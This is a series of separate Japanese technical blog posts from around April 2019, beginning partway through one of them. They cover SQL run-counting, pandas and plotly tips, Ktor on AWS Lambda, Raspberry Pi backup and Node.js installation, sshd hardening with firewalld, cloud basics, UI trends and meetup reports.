3. Service and Project Management のMayurからは "Rakuten QA group and Automation team"と題して、テスト自動化の仕組みの話
4. Nakamuraからは"Rakuten QA Group Introduction & Best Practices"と題して、多くのサービスのQAをする上での運営に関する話

<IMG SRC="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/267085/d6f24f68-ec1b-9c08-6fd2-83dfef07e943.png" width=70%>



以下、自分のプレゼンの資料になります

<A HREF="https://www.slideshare.net/SadaakiEmura/20190424-q-ameetupm-publish"><IMG SRC="https://image.slidesharecdn.com/20190424-qameetup-m-publish-190424233946/95/slide-1-1024.jpg" width=80%></A>

お話したこと


### Engineerの時代に構築したテスト自動化の失敗
2013年ころ　以下の方針で自動化を取り組んでいた

- 目指せカバレッジ〇〇％！
- 流行りの技術でとにかく動かそう

この方針で進めたが故に、結果として以下のようになった

- 自動化設計の軽視により、テスト目的のないものになった
- 保守・運用設計の軽視により、活用されない負債が増えた

このため、せっかく作った自動化はお蔵入りになった


### QAの時代でテスト自動化をどのように導入したか

Engineerで失敗したことを教材に、QAにキャリアチェンジしたときに、自動化を改めて導入するとき、以下を主に気を付けた

- テスト自動化設計でスコープ、目的を明確化
- テスト自動化の保守・運用設計

#### テスト自動化設計でスコープ、目的を明確化

- 何を自動化でテストするのか、テスト目的、観点を明確にする
- CIに使うことを想定として、テストに制約がかかることを明確にする
- 自動化でテストしないことを明確にする

#### テスト自動化の保守・運用設計

- ツール、コード、実行環境を保守できるツール選定
- 自動化で、毎日チェック、早く問題検知、解消確認できる運用設計


それによって以下の成果が得られました

- 自動化できるところを正しく品質担保
- 長期的に最大限の活用



今回、聴講しに来ていただいた方ありがとうございます。

<IMG SRC="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/267085/9f43fddb-59ff-cfb4-181e-f223c4971c36.png" width=70%>



次回は5月　Quesに登壇予定なので、ぜひ遊びに来てください

https://techplay.jp/event/726076


一部、英語になります
SQLで同じ値が連続している部分がいくつあるか集計するスニペット

あれ？これSQLでどうやってやるんだ？となった集計のメモです。

# やりたいこと
以下のようなテーブルがあったとします。
時系列に沿ったデータで、「フラグが1の状態がある程度続いて0に戻り、また1になっては0に戻る」みたいなデータがあった場合に連続する1は一つのグループとしてカウントし「1になった区間が3回あった」みたいな集計をしたくなりました。

|日時|フラグ|グルーピングしたい|
|:--:|:--:|:--|
|2019-04-24 10:00:00|1|←区間①|
|2019-04-24 11:00:00|1|←区間①|
|2019-04-24 12:00:00|1|←区間①|
|2019-04-24 13:00:00|0||
|2019-04-24 14:00:00|0||
|2019-04-24 15:00:00|0||
|2019-04-24 16:00:00|1|←区間②|
|2019-04-24 17:00:00|0||
|2019-04-24 18:00:00|0||
|2019-04-24 19:00:00|1|←区間③|
|2019-04-24 20:00:00|1|←区間③|
|2019-04-24 21:00:00|0||

（ネット上に解法や解説もありますが自分の理解用メモとして。。。）

# カウントアップを使った解法
## データ作る
テスト用にデータ作ります。動作はSQLite3で確認しています。

```sql:サンプルデータ
# テーブル作る
CREATE TABLE test(
	id INTEGER PRIMARY KEY,
	date_time  DEFAULT CURRENT_TIMESTAMP,
	flag INTEGER
);

# サンプルデータ
INSERT INTO test VALUES 
(null, '2019-04-24 10:00:00', 1),
(null, '2019-04-24 11:00:00', 1),
(null, '2019-04-24 12:00:00', 1),
(null, '2019-04-24 13:00:00', 0),
(null, '2019-04-24 14:00:00', 0),
(null, '2019-04-24 15:00:00', 0),
(null, '2019-04-24 16:00:00', 1),
(null, '2019-04-24 17:00:00', 0),
(null, '2019-04-24 18:00:00', 0),
(null, '2019-04-24 19:00:00', 1),
(null, '2019-04-24 20:00:00', 1),
(null, '2019-04-24 21:00:00', 0);
```

## 時間の連続とROW_COUNTによる連番を比較
今回は1時間ごとのデータなので、連続に並んでいるという状態は日時の"時間"の部分が1ずつ増えているという状態です。そして判定対象はフラグが1となっている部分の"時間"が連続になっているかどうかということになります。

そこでまず、基準となる「日時の"時間"に時系列順に番号をふり」集計対象である「フラグが１の部分にも時系列順にも番号をふり」ます。
そうするとフラグが1の場合は基準と集計対象が同じようにカウントアップされますが、フラグ0が間に入るごとにカウントアップに差が生まれるという状態になります。
これを利用することで区間のカウントアップができます。

多分見たほうが速いので↓

```sql:区間の番号付け

select
	date_time,
	flag,
	row_number() over (partition by date(date_time) order by date_time asc) as 時間の連番,
	row_number() over (partition by date(date_time),flag order by date_time asc) as フラグ連番,
	row_number() over (partition by date(date_time) order by date_time asc) - row_number() over (partition by date(date_time),flag order by date_time asc) as 差分
from
	test
order by
	date_time;
```

|日時|フラグ|時間の連番|フラグ連番|差分|
|:--:|:--:|:--:|:--:|:--:|
|2019-04-24 10:00:00|1|1|1|0|
|2019-04-24 11:00:00|1|2|2|0|
|2019-04-24 12:00:00|1|3|3|0|
|2019-04-24 13:00:00|0|4|1|3|
|2019-04-24 14:00:00|0|5|2|3|
|2019-04-24 15:00:00|0|6|3|3|
|2019-04-24 16:00:00|1|7|4|3|
|2019-04-24 17:00:00|0|8|4|4|
|2019-04-24 18:00:00|0|9|5|4|
|2019-04-24 19:00:00|1|10|5|5|
|2019-04-24 20:00:00|1|11|6|5|
|2019-04-24 21:00:00|0|12|6|6|

↓
見やすくするためにフラグ１のみに絞る
↓

|日時|フラグ|時間の連番|フラグ連番|差分|
|:--:|:--:|:--:|:--:|:--:|
|2019-04-24 10:00:00|1|1|1|0|
|2019-04-24 11:00:00|1|2|2|0|
|2019-04-24 12:00:00|1|3|3|0|
|2019-04-24 16:00:00|1|7|4|3|
|2019-04-24 19:00:00|1|10|5|5|
|2019-04-24 20:00:00|1|11|6|5|

このように差分列（時間連番-フラグ連番）が区間を示す番号となるので、この列で`group by`なり`distinct`なりすることで区間の集計が可能になりました。

なお今回の例の場合は時間の連番を"時間"をそのまま`strftime('%H', date_time)`みたいな感じで使っても大丈夫。

わかれば簡単なのですが、なるほどなと思ったのでメモでした。

## 注意：SQLiteのバージョン
SQLiteでテストしようとしたらバージョンがちょっと古い場合、window関数に対応しておらずハマったのでご注意を。
sqlite3 3.25以上をご利用ください。

- [sqliteで利用できるwindow関数](https://sqlite.org/windowfunctions.html#builtins)

# 参考

- [最大連勝、連敗を抽出するsql](https://yone64.wordpress.com/2013/07/04/最大連勝、連敗を抽出するsql/)
- [旅人算メソッドの解説](https://qiita.com/AketiJyuuzou/items/ec11943782adf3621ea2)
pandasでDataFrameから特定の条件で抽出する方法


例えばデータフレームdfから、ある列aの値に'e'を含む、あるいは、からはじまる、あるいは、で終わるものを取り出したい場合は以下のようにするとできます。

```python:sample.py

df[ df['a'].str.contains('e') ]
df[ df['a'].str.startswith('e') ]
df[ df['a'].str.endswith('e') ]
```

以下にjupyter notebookでのサンプルデータと実行結果を載せます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/396624/7140f3fb-e4bd-ab08-5b6e-7999a8fb214f.png)

また特定のインデックスまたは特定の値のデータを抽出するには以下のようにdf[]の中にtrueであれば抽出する条件を書いたり、.loc[[（インデックス番号）]]を使えば可能です。最後の.isin(num)は'b'列の値がnumの中にあれば抽出するという条件です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/396624/76601721-364e-bb2c-ab13-a61fe7abe432.png)
plotly.jsで円グラフを時計回りで表示する方法

# やりたいこと

plotly.jsで円グラフを作ってみたものの、なぜか反時計回りに表示されてしまうので、時計回りに表示する方法を調べました。



# direction属性に'clockwise'を指定する

円グラフの「data」に「direction」属性を指定してあげます。

- clockwise：時計回り
- counterclockwise：反時計回り（デフォルト）

~~~ javascript:sample.js
var data = [{
    values: [50, 100, 70],
    labels: ['A', 'B', 'C'],
    type: 'pie',
    sort: true,     // 自動ソート
    direction: 'clockwise', // ←ココ (時計回り)
}]

var layout = {
    title: '円グラフ - 時計回り',
}

Plotly.newPlot('sample', data, layout);
~~~

デフォルトが反時計回りなので、何も指定しないと値が大きい順に反時計回りで割合が表示されます。

時計回りを指定すると、値が大きい順に時計回りで割合が表示されます。通常、こちらを使いますよね、

## ビフォーアフター

before:
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/299568/540a648e-bf79-66a8-6603-e225c0c963b9.png)

after:
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/299568/550b7bef-8388-b464-ca32-457015a8c0a8.png)


# 参考文献

- Pie sort clockwise starting from the top

  <https://community.plot.ly/t/pie-sort-clockwise-starting-from-the-top/9531>

- plotly.js reference #pie-direction

  https://plot.ly/javascript/reference/#pie-direction
KtorをAWS Lambdaで動かしてみる

# 事前知識
* Ktor
* AWS Lambda

---
## Ktor
JetBrains製、ピュアKotlinのマイクロWebアプリケーションフレームワーク。

参考資料: [Komparing Kotlin
Server Frameworks](https://resources.jetbrains.com/storage/products/kotlinconf2018/slides/1_Komparing%20Kotlin%20Server-Side%20Frameworks.pdf)

---
## AWS Lambda
AWSのマネージドFaaS。  
ソースコードをWebコンソールで貼り付ければ、APIやバッチ処理が簡単に作成可能。  

---
# WebフレームワークをFaaSで動かす？？？

---
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/96286/87aa8e87-f9ca-d98c-6b18-ec11ecf7e0d7.png)

https://ktor.io/servers/lifecycle.html

---
# テスト用の機能を使えば、KtorのApplicationにLambdaの入力を渡せるのでは...🤔

---
![2019-04-25 08_29_47 AM からスキャン.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/96286/53921ad2-ce99-05d6-fcbb-6676c033c2b3.jpeg)

---
# デモ

---
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/96286/04260ff8-2d1f-9225-783f-01d363d02fdf.png)

---
# 解説
https://github.com/hiroga-cc/aws_lambda_gradle_kotlin

---
# 何の役に立つの？

---
# 分からん...😭

---
# むしろ私が聞きたい、けど...

---
# 一応考えられるユースケース
* コスト面を考慮しAPIをLambdaで構築したいが、テストが大変※1なのでローカルではWebフレームワークとして運用したい
* バッチ処理をLambdaで書きたいが、チームメンバーがKtorに慣れすぎていて学習コスト的にKtorで開発できた方が有利

※1: 感想には個人差があります。

---
# まとめ
* フレームワークの中身を使いまわせて面白い
* Ktorの仕組みを理解する上ではよかったかも...?

---
AWSのPreview(Beta)中のサービスに関する情報は投稿してはならない(戒め)

先日、Amazon Managed Blockchain(Preview)に関する情報をまとめたり、実際に利用してみた内容をQiitaに投稿していましたが、そもそもPreview中のサービスの場合、情報公開するのはまずいのがわかったので、投稿をすべて引き下げました。

なにがまずかったのか、今後同じことを繰り返さないようにまとめておきます。


## Preview中のサービスに関する情報の一切は「AWS 秘密情報」にあたる

下記から確認できるサービス条件にBeta(Preview)サービスに関する定義や目的、制限事項の記載があります。

AWS サービス条件
https://aws.amazon.com/jp/service-terms/


その中でも特に把握していないとダメだったのが下記でした。(2019/04/24時点の内容)

>1.10.8 Beta マテリアル、テスト観察結果、Beta サービスに関する提案または Beta サービス
もしくは Beta 地域についてのもしくは Beta サービスもしくは Beta 地域に関わる（その存在
を含む）その他の情報の一切は、AWS 秘密情報とみなされる。サービス利用者は、AWS が書
面により同意する場合を除き、Beta マテリアル、テスト観察結果、Beta サービスに関する提案
または Beta サービスについてのもしくは Beta サービスが関与する（その存在を含む）その他
の情報の一切を開示しない（プレスリリースまたは声明における開示を含むがこれに限られな
い）。

**Beta(Preview)サービスに関わる情報は「AWS 秘密情報」とみなされるので情報開示しちゃだめ。**です。

「AWS 秘密情報」の定義に関しては下記に記載があります。

AWS カスタマーアグリーメント
https://aws.amazon.com/jp/agreement/


AWS カスタマーアグリーメントおよびサービス条件は個人、法人に関わらず、AWSアカウントのサインアップして利用開始した時点で契約が締結されたとみなされるので、知らなかったが通じません。


秘密情報の取扱い以外でも、知っておかないと後々困ることになりかねない内容も契約には含まれていますので、これまで契約関連を確認していなかった方は目をとおしておくのが良いかと思います。

下記のスライドがざっくりと内容を把握するのに参考になりました。

知っておいて損はない AWS法務関連
https://www.slideshare.net/cloudpack_sakurai/jawsug-cloudgirllegal


## 参考

法務関連
https://aws.amazon.com/jp/legal/?nc1=f_cc

AWS サービス条件
https://aws.amazon.com/jp/service-terms/

AWS カスタマーアグリーメント
https://aws.amazon.com/jp/agreement/

知っておいて損はない AWS法務関連
https://www.slideshare.net/cloudpack_sakurai/jawsug-cloudgirllegal
MAX_BYについて

https://support.treasuredata.com/hc/ja/articles/115010123727-%E5%88%9D%E7%B4%9A%E3%83%8F%E3%83%B3%E3%82%BA%E3%82%AA%E3%83%B3-B-%E9%9B%86%E8%A8%88-%E3%82%A2%E3%82%AF%E3%82%BB%E3%82%B9%E3%83%AD%E3%82%B0%E7%B7%A8-

MAX_BYを使うようなケースについて

## MAX_BYとは
MAX_BY(カラムx, カラムy)のような関数で、第二引数のカラムが最大のレコードの、第一引数のカラムの値を結果として返すもの

## 利用背景
GROUP BYで指定したカラム以外は、基本的にどのSQLでもSELECTでそのまま使うことはできない

- GROUP BYしたレコード群の内、どのレコードの値を指定すれば良いか判断できないため
- GROUP BY指定以外のカラムをSELECTに指定したい時に有効

## 構文
```
SELECT MAX_BY(cloumn1, cloumn2)
```

## 例
下記のような状況があったする

- 3つのカラムの組み合わせが同値である場合、そのレコードを一意とするような方針になった
- 一意のレコードだけが残るテーブルを新たに作るために該当レコード全カラムの値を抽出したい
- 一意とするカラム以外の値はレコードの更新日でGROUP BYした内、値の最も大きいものを採用する

```
  SELECT MAX_BY(cloumn1, updated_at)
       , MAX_BY(cloumn2, updated_at)
       , MAX_BY(cloumn3, updated_at)
       , cloumn4
       , cloumn5
       , cloumn6
       , MAX_BY(created_at, updated_at)
       , MAX(updated_at)
    FROM not_unique_table
GROUP BY cloumn4
       , cloumn5
       , cloumn6
;
```

## ポイント
- MAX関数とGROUP BY関数を混ぜたようなもの
- prestoとhiveでは使える集約関数
- MySQLやPostgreSQLでは使えない

## 雑感
一般的?に使いそうなMySQLやPostgresだと使えないけど大量データの集計や加工が必要なケースは今後もたくさんありそうなので覚えといて良さそう
Raspbianをバックアップしよう！

せっかく、構築したRaspberryの環境。
何かの拍子で壊れたりするとショックじゃないですか？
セットアップも何かと面倒ですし。
だからバックアップしておきましょうというお話です。

# 前提

* NFSでマウントできるNASがある

# バックアップしましょう

```shell
sudo mount -t nfs 192.168.0.11:/Raspberry /mnt
sudo dd if=/dev/mmcblk0 of=/mnt/`date "+%Y%m%d-%H%M"`.img bs=20M status=progress 
sudo umount /mnt
```

IPアドレスとパスの部分はご自分の環境に合わせてください。

あと、32GBのmicroSDを使っていると32GB分をバックアップします。

# 復元方法は?
balenaEtcherを使います。raspbianをインストールするのと同じです。

## Etcherをダウンロードし、インストール
RaspbianをSDカードにイメージ保存するために必要なEtcherをダウンドーロして、インストールします。
https://www.balena.io/etcher/

## バックアップイメージをSDカードに転送
banelaEtcherを立ち上げます。
Select Imageでバックアップイメージファイルを選択します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/334727/453160e8-6098-bd5b-f694-beba8a5200e7.png)

Flashボタンをクリック。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/334727/850797e3-55f9-ddea-ffc2-28f3cbb41f81.png)

Starting...
Flashing...
Validating...

と続きますので、しばし待ちましょう。
この画面になったら、完成です。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/334727/a16e7ad2-cc02-18fe-1ffe-a20a467d456b.png)

これでいつでも、「あの日」に戻れます。
Raspberryに特定バージョンのNode.jsをインストールする

Raspberryに普通にNode.jsをインストールすると、Ver8.xがインストールされます(2019年4月時点)
例えば、Ver10.15.3をインストールしたいってことありませんか？
今回は、そんなお話です。


# Node.jsのインストール
Node.jsをインストールします。
Raspberry Pi Zeroは、Armv6なので通常の手順でインストールすると8.xがインストールされます。
10.15.3をインストールするには、以下の手順になります。

```shell
sudo apt remove nodejs
sudo apt autoremove
VERSION=v10.15.3
DISTRO=linux-armv6l
cd /usr/src
sudo wget https://nodejs.org/dist/$VERSION/node-$VERSION-$DISTRO.tar.xz
sudo mkdir -p /usr/local/lib/nodejs
sudo tar -xJvf node-$VERSION-$DISTRO.tar.xz -C /usr/local/lib/nodejs
```

ホームディレクトリの.profileを開いて以下の行を追加します。

```shell:.profile
# Nodejs
VERSION=v10.15.3
DISTRO=linux-armv6l
export PATH=/usr/local/lib/nodejs/node-$VERSION-$DISTRO/bin:$PATH
```

.profileを有効にし、リンクを張ります。

```shell
. ~/.profile
sudo ln -s /usr/local/lib/nodejs/node-$VERSION-$DISTRO/bin/node /usr/bin/node
sudo ln -s /usr/local/lib/nodejs/node-$VERSION-$DISTRO/bin/npm /usr/bin/npm
sudo ln -s /usr/local/lib/nodejs/node-$VERSION-$DISTRO/bin/npx /usr/bin/npx
```

インストールしたnode.jsのバージョンを確認します。

```shell
node -v
v10.15.3
npm -v
6.4.1
npx -v
6.4.1
```
sshdを特定IPアドレスからのみ接続可能とする(firewlld,ipset)

# sshdを外部公開しているので、接続元IPアドレスを制限する。
[参照１](https://seinolab.jp/posts/firewalld-example-1.html)
[参照２](https://seinolab.jp/posts/firewalld-example-2.html)

- 外部公開は、デフォルト(22)以外のポートを公開する。(sshd_config)
- 別ポートをfirewalldで許可する。(firewalld)
- 外部公開ポートの接続許可は、whitelist化し邦国内に限定する。(firewalld)

## whitelistの作成
/root/IPSET/whitelist.txtを作成する。

```bash:ipset_mkwhite.sh 
#!/bin/bash
IPSET_DATA=/root/IPSET/whitelist.txt

cd /root/IPSET
if [ -s cidr.txt ]; then
    mv cidr.txt cidr.txt.old
fi

# 国別コードリストをダウンロード
wget http://nami.jp/ipv4bycc/cidr.txt.gz
gunzip cidr.txt.gz
	
# ホワイトリストセットを作成
TEMP=`mktemp /tmp/ipset.XXXXXX`

# ホワイトリストセットに日本のIPアドレスを登録
sed -n 's/^JP\t//p' /root/IPSET/cidr.txt >> $TEMP
#
rm $IPSET_DATA
mv $TEMP $IPSET_DATA
#
```

```conf:/root/IPSET/whitelist.txt 
1.0.16.0/20
1.0.64.0/18
1.1.64.0/18
1.5.0.0/16
....
```

## firewalldの設定
### 新ポートを公開する、サービスを定義("****"は適当なポート番号に変更)。

```xml:/usr/lib/firewalld/services/ssh-alt.xml
<?xml version="1.0" encoding="utf-8"?>
<service>
  <short>SSH-alt</short>
  <description>Secure Shell (SSH)</description>
  <port protocol="tcp" port="****"/>
</service>
```

### ipアドレスグループを定義
ipset=DOMESTICを作成し、DOMESTICに前項で作成したIPアドレスリスト(/root/IPSET/whitelist.txt)を割り当てる

```bash:
firewall-cmd --permanent --new-ipset=DOMESTIC --type=hash:net
firewall-cmd --permanent --ipset=DOMESTIC --add-entries-from-file=/root/IPSET/whitelist.txt
firewall-cmd --reload
firewall-cmd --info-ipset=DOMESTIC
```

### ゾーンを作成し、ipset,service,portを組合わせて許可する。
zone=domesticを作成し、ipset:DOMECTIC,service:ssh-alt,port:2222を許可する

```bash:
firewall-cmd --permanent --new-zone=domestic
firewall-cmd --permanent --zone=domestic --add-source=ipset:DOMESTIC
firewall-cmd --permanent --zone=domestic --add-service=ssh-alt 
firewall-cmd --permanent --zone=domestic --add-port=2222/tcp
firewall-cmd --reload
```

### 確認
```bash:
# firewall-cmd --get-active-zones
domestic
  sources: ipset:DOMESTIC
public
  interfaces: ens192

# firewall-cmd --list-all-zones 
```

### whitelist更新後のリフレッシュ
```bash:
firewall-cmd --permanent --zone=domestic --delete-ipset=DOMESTIC
firewall-cmd --permanent --zone=domestic --new-ipset=DOMESTIC --type=hash:net
firewall-cmd --permanent --zone=domestic --ipset=DOMESTIC --add-entries-from-file=/root/IPSET/whitelist.txt
firewall-cmd --reload
```

## sshdでデフォルト以外のポートを公開
```conf:/etc/ssh/sshd_config 
#ListenAddress 0.0.0.0:22    # ipv4でtcp22をListen
AddressFamily any            # ipv4,ipv6でlisten
PORT 22
PORT ****                    # ipset:DOMESTICで許可するポート
```
【初めて学習した】仮想サーバって何？からクラウドとの違いについて

#はじめに
今回は仮想サーバについて調べました。
調べている最中に、クラウドの単語が出てきて、そちらも気になりました。
今回は仮想サーバーとクラウドの違いをまとめました。
至らない点がございましたら、ご指摘頂ければ幸いです。

#まず仮想サーバって何？
仮想サーバとは、サーバを仮想化した技術です。
1台の物理サーバを複数台あるように、論理的にを分割することができる技術です。
その技術で出来た物が仮想サーバです。

引用元：[サーバ仮想化 - 仮想化とは - ネットワークエンジニアとして](https://www.infraexpert.com/study/virtual.html)

#クラウドて何？
クラウドとは、サービス、環境です。
正式名称はクラウドコンピューティングです。
サービス　→　クラウドサービス
環境　　　→　プライベートクラウド、パブリッククラウド

引用元：[クラウドとは？その種類の解説と仮想化との違い](https://www.infraexpert.com/study/virtual.html)

#クラウドサービスの種類
クラウドサービスは提供内容がそれぞれ違い、5種類あります。
ASP（エーエスピー）、Saas（サース）
Paas（パース）、IaaS（アイアース）、Daas（ダース）です。

その中でも特に、
Saas、Paas、Iaasはクラウドサービスの中心です。
Saasは一般的でもっとも身近なサービスで、
Paas、IaasはITインフラエンジニアまたは開発エンジニアが利用する機会が多いサービスです。
↓
↓
↓


SaaS【Software as a Service】
　→ソフトウェアを提供・利用するサービス。
　具体的には、Gmail、Yahoo!メール、Office365です。

Paas【Platform as a Service】
　→開発環境（OSとミドルウェア）を提供・利用するサービスです。
　具体的にはGoogle App Engineです。

Iaas【Infrastructure as a Service】
　→仮想サーバー、ネットワーク機器を提供・利用するサービスです。
　具体的にはさくらのVPS、AWSです。

引用元：[ASP, Saas, Paas, Iaas, Daasの具体例を挙げてみる。活用方法など。その他](http://swdrsker.hatenablog.com/entry/2018/02/02/170000)
　　　　[AWS初心者のための勉強会資料【入門編】〜結局AWSって何なの？〜　クラウドサービスの分類](https://qiita.com/koizumittn/items/77923a8f71d47d895b34)
　　　　[知っておきたいIaaS、PaaS、SaaSの違い](https://www.cloud-ace.jp/report/detail01/)
　　　　[クラウド基礎知識クラウドの種類](https://zenlogic.jp/user-support/knowledge/cloud/type.html)
　　　　[クラウドとは何か？について分かりやすく紹介していきます。](https://altus.gmocloud.com/suggest/cloud/)

#プライべートクラウド環境とパブリッククラウド環境
クラウドサービスを利用する環境構築の内容です。

プライべートクラウド環境
　→企業向けに構築し、特定の人（社員など）向けにサービスを提供します。
パブリッククラウド環境
　→インターネット上から一般的に利用できるサービスを提供します。


引用元：[クラウド基礎知識パブリッククラウドとプライベートクラウド](https://zenlogic.jp/user-support/knowledge/cloud/difference.html)

#【目的と違い】仮想サーバとクラウド

仮想サーバの目的
　→リソースを分割させて、無駄をなくすため。

クラウドの目的
　→インターネットを経由して誰でも簡単に利用・提供するため。

仮想サーバとクラウドの違い
　仮想サーバは、サーバを仮想化した技術です。
　クラウドはインターネットを経由して利用・提供できるサービス・環境です。
　双方、それぞれ違いはありました。
　ですが、まったく無関係ではありません。
　仮想サーバとクラウドの関係は、クラウドサービスまたは環境が、仮想化によって成立しています。

　クラウドサービスで提供された内容は、インターネット上に保存はされていません。
　サービス提供事業者が運用しているストレージサーバがあり、そこで保存されています。
　インターネットを経由して、そこにデータの読み書きが行っています。

　このストレージサーバは、数万数十万のユーザーのデータが保管されています。
　仮想化によって無数のストレージサーバを一つに統合する必要があります。
　仮想ストレージサーバを作れば、世界5億人が保存するデータ量にも対応できます。
　クラウドは常に仮想化によって成立していて、
　クラウドと仮想サーバは密接な関係となっています。

引用元：[クラウドとは？その種類の解説と仮想化との違い](https://www.infraexpert.com/study/virtual.html)

#まとめ
仮想サーバとは、サーバを仮想化した技術です。
クラウドとは、インターネットを経由して利用・提供できるサービス・環境です。
双方それぞれ違うところがあり、密接な関係である。



#次回
AWSについて学習しようと思います。
sshdでクライアントのIPアドレスで、ログイン可能なユーザを制限する

| ユーザ | ログイン可能なアドレス |
| :--- | :--- |
| everywhere | anyから可能 |
|  admin     |  IPアドレスを制限<BR>192.168.0.128/25を許可 |

## クライアント側での操作:from 192.168.0.127
``` 
$ ifconfig | head -n 20 
en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
	ether **:**:**:**;**;**
	inet6 **** prefixlen 64 secured scopeid 0x5 
	inet 192.168.0.127 netmask 0xffffff00 broadcast 192.168.0.255
	nd6 options=201<PERFORMNUD,DAD>
	media: autoselect
	status: active
```

### admin は制限
```
$ ssh admin@vm-dmz.hrsk 
admin@vm-dmz.hrsk's password: 
Permission denied, please try again.
admin@vm-dmz.hrsk's password: 
```

### everywhere は許可
```
$ ssh everywhere@vm-dmz.hrsk
```

## sshd-server側のログ 
```
$ sudo systemctl status -l sshd 
[sudo] ****** のパスワード:
● sshd.service - OpenSSH server daemon
   Loaded: loaded (/usr/lib/systemd/system/sshd.service; enabled; vendor preset: enabled)
   Active: active (running) since 木 2019-04-25 02:48:40 JST; 10min ago
     Docs: man:sshd(8)
           man:sshd_config(5)
 Main PID: 16680 (sshd)
   CGroup: /system.slice/sshd.service
           └─16680 /usr/sbin/sshd -D

#### adminは拒否(from 192.168.0.127)
 4月 25 02:58:33 vm-dmz.hrsk sshd[17377]: User admin from 192.168.0.127 not allowed because not listed in AllowUsers
 4月 25 02:58:33 vm-dmz.hrsk sshd[17377]: input_userauth_request: invalid user admin [preauth]
 4月 25 02:58:36 vm-dmz.hrsk sshd[17377]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.0.127  user=admin
 4月 25 02:58:38 vm-dmz.hrsk sshd[17377]: Failed password for invalid user admin from 192.168.0.127 port 65440 ssh2
 4月 25 02:58:39 vm-dmz.hrsk sshd[17377]: Connection closed by 192.168.0.127 port 65440 [preauth]

#### eeverywhereは許可(from 192.168.0.127)
 4月 25 02:58:46 vm-dmz.hrsk sshd[17382]: Accepted publickey for everywhere from 192.168.0.127 port 65441 ssh2: RSA SHA256:****
```

## sshd_config
``` /etc/ssh/sshd_config
Protocol 2                       # use ssh-protool v2
PermitRootLogin no               # rootはリモートログイン不可
PubkeyAuthentication yes         # 公開鍵認証を使用可
PasswordAuthentication yes       # パスワード認証を使用可
PermitEmptyPasswords no          # パスワードなしはログイン不可

....
AllowUsers everyone
AllowUsers auditor@192.168.0.0/16
AllowUsers admin@192.168.0.128/25  # allow 0.128-255
....
```

## 最後に
実務でNWを見ている。クライアントIPとサーバIPの組み合わせでセキュリテイ区画を区切っているが、開発工程で（本番化前、後）細々と可否設定が必要。なんでもNW機器のACLで制限させようとするが、サーバでもやりたいことができるという反証。
UIについて

去年の夏ごろにまとめたものです

#uiの原則
ひと目で意味がわかるデザイン
簡単な操作性
オブジェクトとインターフェースの距離を近くする（ユーザー名が表示されている付近に、編集ボタンが設置されているようなイメージ）



#2018年のトレンド

##１シームレスインターフェース
Webサイト上のすべてのコンテンツを1ページに配置するUIデザインです。全コンテンツを1ページで確認できると、ユーザーはほかのページへ遷移せずにスクロールのみですべての情報を得られます。 そのため、別のページへ遷移する際にかかるストレスを軽減できます
https://lewislopez.com/#whoiam
##２タイポグラフィの活用
巨大な文字を配置するデザインです。文字を大きくして目立たせると、ユーザーの視線を引き付けることができます。
文字にアニメーションで動きをもたせるデザインもトレンド
##３グラデーション
Webサイトの背景に用いられたり、写真に重ねてオーバーレイとして使われたりするケースが多く、ユーザーの目を引く印象的なサイトにしてくれます。
##４イラストレーションの活用
Webサイトのコンセプトに適しているデザイン
http://nasaprospect.com/
##５動画の活用
トップ画面の背景が動画
https://designcase.jp/


##６活気のある鮮やかな色
色は注目を集め、気分を変え、ユーザーの感情や行動に影響を与えることができます。 
モバイルアプリのデザインについて言えば、これからは間違いなく鮮やかな色の時代です。
鮮やかな色✖️グラデーションという今年のトレンドを組み合わせたアイコンがインスタグラムのアイコン
**機能要素としての色**、、、さまざまなタイプの通知を視覚的に分離します。
https://www.seleqt.net/cms/wp-content/uploads/2018/01/d62f58fb9a8ebeeaf8b0bf38869648e1.gif


##７ミニマルデザイン
少ないパーツでページを構成するthe simpleって感じのページ
余白を大切にすることで演出できるオサレ感
https://makr.com/


##８スプリットスクリーンレイアウト
画面を大胆に分割してレイアウトするデザイン手法
画面を大きく2つに分け、左側にメニューを表示し、右側に画像を表示するようなデザインとなっています。スプリットスクリーンを使う場合は、どちらか片方にメニューを固定表示しておき、もう片方にコンテンツを表示してスクロールさせるようなデザインにすると、使いやすくてデザインも優れたページに仕上げることができる

http://www.thefeebles.com/

##９美しいローディングアニメーション

読み込み中に美しいローディングアニメーションが増えています。読み込み時間が長くなるほどユーザーの離脱率は高まってしまいますが、アニメーションを上手く活用することによって離脱率を抑える効果が期待できます。
Product Design マッチング業界編 [Matching Dev Meetup #3]

[株式会社マッチングエージェント](https://www.matchingagent.co.jp)、[株式会社エウレカ](https://eure.jp)、[株式会社Diverse](https://diverse-inc.co.jp)
主催で Matching Dev Meetup #3 が行われました！
[CONNPASS（イベントページ）](https://matching-dev-group.connpass.com/event/121725/)


# はじめに
ここでは、 **デザインに超絶興味があるエンジニア** である私が参加して学んだことをまとめてみたいと思います。
実際に発表していただいた詳細な内容などは、プレゼン資料などで確認していただければと思います。

# 海外展開で考えること
- 日本版と違って、使われていない機能がある場合も
- コアターゲットが普段使用しているアプリのUXに合わせる必要がある
- 多言語展開を行いやすいシステムに移行する必要も出てくる
- リニューアル時は、目的をブレイクダウンさせる
    - アプリで通常の恋愛の何を短縮したいのか（など
        - 質と量の担保
        - 時間
- 目的目線で競合アプリを調査

# ターゲットユーザを意識する
- 結婚を前提に
- 結婚を意識した恋愛
- 気軽に会える
- （一例です）

# デザインは白米
- 白米とおかずの組み合わせが無限の可能性を秘めているという考えから
- ”どんな素材にでも掛け合わせができ、最大の旨味を引き出してくれる白米のようなもの **それがデザイン**”
- デザイン（白米）
    - 戦略思考（おかず）
    - 心理学（おかず）
